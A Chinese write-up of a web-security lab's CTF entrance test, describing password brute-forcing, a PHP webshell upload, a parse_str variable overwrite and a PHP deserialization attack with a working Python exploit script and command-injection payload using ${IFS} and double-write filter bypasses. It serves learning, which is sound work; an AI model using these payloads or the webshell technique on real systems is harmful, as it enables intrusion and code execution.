极光网安实验室web组入组考核


一、47.106.94.13:13334/ctf

打开连接后看到登陆页面,第一反应是SQL注入,试过几下之后才在源码中看到了hint

base64解密为“admin”,猜测为username,抓包扔进BP进行爆破,用BP自带的字典就拿到了密码


拿到了第一个flag并跳转到一个文件上传页面


抓包,传入PHP文件并修改文件类型发现上传成功,于是传入一句话webshell,连上蚁剑

在Look_here.txt中拿到第二个flag


第一题结束

二、47.103.117.169:22230

打开页面啥都没有,架起御剑扫描后台

扫出一个bak备份文件,下载之后查看源码

审计代码,发现存在有parse_str变量覆盖漏洞,直接构造url进行尝试


经过尝试发现如图url顺利拿到第一个flag

第一个flag到手

继续代码审计,这里很显然是利用反序列化漏洞

利用${IFS}绕过空格过滤,用双写绕过字符串过滤,这里一定要在PHP中将序列化的结果进行一次urlencode,原因如下:
用下面的代码进行试验

import requests
from urllib.parse import urlencode
from urllib.parse import unquote
url = "http://47.103.117.169:22230/index.php?first=is_me&a=xxx=I%26yyy=wanna%26zzz=flag"
data='O%3A4%3A%22come%22%3A2%3A%7Bs%3A11%3A%22%00come%00funcs%22%3Bs%3A6%3A%22danger%22%3Bs%3A10%3A%22%00come%00args%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A27%3A%22%60cat%24%7BIFS%7Dflaflag.phpg.php%60%22%3B%7D%7D'
data1={'come':unquote('O%3A4%3A%22come%22%3A2%3A%7Bs%3A11%3A%22%00come%00funcs%22%3Bs%3A6%3A%22danger%22%3Bs%3A10%3A%22%00come%00args%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A27%3A%22%60cat%24%7BIFS%7Dflaflag.phpg.php%60%22%3B%7D%7D')}
data2={'come':'O:4:"come":2:{s:11:"comefuncs";s:6:"danger";s:10:"comeargs";a:1:{i:0;s:27:"`cat${IFS}flaflag.phpg.php`";}}'}
print(data1)
print(data2)
print(data)
print(urlencode(data2))
#a=requests.post(url,data=data1)
#print(a.content)


这里可以看到,如果PHP中未进行urlencode,则造成了%00字符的丢失。而在PHP中进行urlencode之后再在PY中unquote的话,则保留了\x00,所以可以post成功。
那为什么会这样呢?
因为本题里的类成员为private,所以会在字符串中掺入%00,而%00较为特殊,就导致了如果不在php里进行urlencode就会缺失的情况。
附上成功提交的脚本

import requestsfrom urllib.parse import urlencodefrom urllib.parse import unquoteurl = "http://47.103.117.169:22230/index.php?first=is_me&a=xxx=I%26yyy=wanna%26zzz=flag"data1={'come':unquote('O%3A4%3A%22come%22%3A2%3A%7Bs%3A11%3A%22%00come%00funcs%22%3Bs%3A6%3A%22danger%22%3Bs%3A10%3A%22%00come%00args%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A27%3A%22%60cat%24%7BIFS%7Dflaflag.phpg.php%60%22%3B%7D%7D')}a=requests.post(url,data=data1)print(a.content)


OK!成功的成为了极光实验室的一名菜鸡。(要好好努力啊)

极光网安实验室web组考核WP相关推荐

  1. BurpSuite实战——合天网安实验室学习笔记

    burpsuite是一款功能强大的用于攻击web应用程序的集成平台,通常在服务器和客户端之间充当一个双向代理,用于截获通信过程中的数据包,对于截获到的包可以人为的进行修改和重放. 此BurpSuite ...

  2. 【蓝桥杯Web】大一小白参与蓝桥杯模拟赛二期web组体会

    目录 前言 一.相关比赛介绍 1.ACM国际大学生程序设计竞赛 2.蓝桥杯 3.GPLT团队程序设计天梯赛 4.leetcode周赛和双周赛 5.PAT 二.蓝桥杯 1.应该参加蓝桥杯吗? 2.如何进 ...

  3. 合天网安就业班_CTF挑战赛-合天网安实验室

    [TOCCTF挑战赛-合天网安实验室逆向解析] CTF挑战赛-合天网安实验室​sourl.cn 1.逆向100 修改后缀为.apk 安卓模拟器打开,发现要求输入Password 用Android逆向助 ...

  4. 合天网安实验室CTF-基础50-0x01

    合天网安实验室CTF-基础50-0x01 最近无聊时准备刷点题,由简到难慢慢来吧 题目描述   真的不能再简单了! 相关附件   misc50.zip 题目链接 参考解题步骤 1.下载下来的压缩包解压 ...

  5. 合天网安实验室CTF-Web100-Give Me Flag

    合天网安实验室CTF-Web100-Give Me Flag 题目描述   哎,不小心把代码弄乱惹 相关附件   web100.zip 题目链接 参考解题步骤 1.下载附件打开后是一段JavaScri ...

  6. 合天网安实验室CTF-Exp200-Come on,Exploit me!

    合天网安实验室CTF-Exp200-Come on,Exploit me! 题目描述   Audrey Tang. ⊙.⊙ 我只能说到这儿了 相关附件   exp200 题目链接 参考解题步骤 1.下 ...

  7. 合天网安实验室CTF-Steg150-一段欢快的曲调

    合天网安实验室CTF-Steg150-一段欢快的曲调 题目描述   滴滴 相关附件   stego100.wav 题目链接 参考解题步骤 1.下载的附件是一段wav格式的音频,打开听了一下,确实是欢快 ...

  8. 2022.4.9第十三届蓝桥杯web组省赛个人题解

    2022第十三届蓝桥杯第一次开放了web组赛道,博主作为一名前端小白,参加了这次比赛.一共十个题目,目的均是实现特定的网页效果,考点包含三件套.jQuery和vue,这里简单的进行一下个人的题解记录. ...

  9. 视觉组考核——装甲板识别

    视觉组考核--装甲板识别 识别Robomaster的装甲板的简易程序 算法分析 装甲板识别主要分这几步 图像处理->提取灯柱同时对灯柱进行筛选->灯条匹配->装甲板的筛选 1.图像处 ...

最新文章

  1. 编译-speex For iOS静态库
  2. relative和absolute的区别
  3. 深入浅出python机器学习_如何用python画三维图? add_subplot() Axes3D() plot_surface() gca()
  4. 反应速度测试软件,用批处理实现的反应速度测试工具
  5. React封装一个组件弹出框
  6. 大数据最核心的关键技术:32个算法
  7. TZOJ 4839 麦森数(模拟快速幂)
  8. php 是否存在,php判断常量是否存在
  9. carto笔记--- 传感器数据走向
  10. python闹钟界面程序_利用QT写一个极简单的图形化Python闹钟程序
  11. 渗透测试学习笔记(提权)
  12. MPI/DP转以太网通过CHNet-S7200/300连接IFIX组态TCP通信
  13. 微信小程序中的转发功能
  14. 使用Truetype字体制作ArcGIS符号
  15. m3u8转mp4,不用格式软件
  16. 新王诞生!ACP世界大赛中国区总决赛超燃收官!
  17. 5个增加设计趣味性的方法
  18. 写作者网新浪微博通过认证加V
  19. macOS Big Sur发布了!适用于所有兼容的Mac机型!
  20. multisim怎么设置晶体管rbe_multisim中添加大功率三极管的办法 multisim 三极管设置方法...

热门文章

  1. 计算机三级网络技术知识点(四)
  2. 异贝,通过移动互联网技术,为中小微实体企业联盟、线上链接、线上线下自定义营销方案推送。案例41
  3. 【NLP】bert中的[CLS]甚意思?
  4. CHAPTER 5 Ansible playbook(二)
  5. linux 09文件系统
  6. python计算卡路里_python matplotlib绘图大全(散点图、柱状图、饼图、极坐标图、热量图、三维图以及热图)...
  7. android 短信防火墙,android 实例短信防火墙
  8. shell脚本,用awk实现替换文件里面的内容。
  9. win7 wmp12播放rmvb格式的一些问题
  10. (六.数据库技术与Access 2010 基本概念七.计算机网络及网页制作基本概念八.数字多媒体技术基本概念九.信息安全基本概念十.新一代信息技术基本概念)